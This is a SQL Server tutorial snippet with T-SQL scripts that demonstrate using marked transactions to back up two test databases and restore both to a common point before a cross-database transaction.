USE master GO CREATE DATABASE TestTxMark1 GO USE TestTxMark1 GO CREATE TABLE TestTable1 ( ID INT, VALUE UNIQUEIDENTIFIER ) -- insert some data into the table so we can have a starting point INSERT INTO TestTable1 SELECT ROW_NUMBER() OVER(ORDER BY number) AS RN, NULL FROM master..spt_values ORDER BY RN SELECT * FROM TestTable1 GO -- TAKE A FULL BACKUP of the databse BACKUP DATABASE TestTxMark1 TO DISK = 'c:\TestTxMark1.bak' GO	USE master GO CREATE DATABASE TestTxMark2 GO USE TestTxMark2 GO CREATE TABLE TestTable2 ( ID INT, VALUE UNIQUEIDENTIFIER ) -- insert some data into the table so we can have a starting point INSERT INTO TestTable2 SELECT ROW_NUMBER() OVER(ORDER BY number) AS RN, NEWID() FROM master..spt_values ORDER BY RN SELECT * FROM TestTable2 GO -- TAKE A FULL BACKUP of our databse BACKUP DATABASE TestTxMark2 TO DISK = 'c:\TestTxMark2.bak' GO
-- start a marked transaction that modifies both databases BEGIN TRAN TxDb WITH MARK -- update values from NULL to random value UPDATE TestTable1 SET VALUE = NEWID(); -- update first 100 values from random value -- to NULL in different DB UPDATE TestTxMark2.dbo.TestTable2 SET VALUE = NULL WHERE ID <= 100; COMMIT GO	-- some time goes by here -- with various database activity...
-- We see two entries for marks in each database. -- This is just informational and has no bearing on the restore itself. SELECT * FROM msdb..logmarkhistory
USE master GO -- create a log backup to restore to mark point BACKUP LOG TestTxMark1 TO DISK = 'c:\TestTxMark1.trn' GO -- drop the database so we can restore it back DROP DATABASE TestTxMark1 GO	USE master GO -- create a log backup to restore to mark point BACKUP LOG TestTxMark2 TO DISK = 'c:\TestTxMark2.trn' GO -- drop the database so we can restore it back DROP DATABASE TestTxMark2 GO
-- RESTORE THE DATABASE BACK BEFORE OUR TRANSACTION -- restore the full backup RESTORE DATABASE TestTxMark1 FROM DISK = 'c:\TestTxMark1.bak' WITH NORECOVERY; -- restore the log backup to the transaction mark RESTORE LOG TestTxMark1 FROM DISK = 'c:\TestTxMark1.trn' WITH RECOVERY, -- recover to state before the transaction STOPBEFOREMARK = 'TxDb'; -- recover to state after the transaction -- STOPATMARK = 'TxDb'; GO	-- RESTORE THE DATABASE BACK BEFORE OUR TRANSACTION -- restore the full backup RESTORE DATABASE TestTxMark2 FROM DISK = 'c:\TestTxMark2.bak' WITH NORECOVERY; -- restore the log backup to the transaction mark RESTORE LOG TestTxMark2 FROM DISK = 'c:\TestTxMark2.trn' WITH RECOVERY, -- recover to state before the transaction STOPBEFOREMARK = 'TxDb'; -- recover to state after the transaction -- STOPATMARK = 'TxDb'; GO
USE TestTxMark1 -- we restored to time before the transaction -- so we have NULL values in our table SELECT * FROM TestTable1	USE TestTxMark2 -- we restored to time before the transaction -- so we DON'T have NULL values in our table SELECT * FROM TestTable2

Transaction marks can be used like a crude sync mechanism for cross database operations. With them we can mark our databases with a common “restore to” point so we know we have a valid state between all databases to restore to.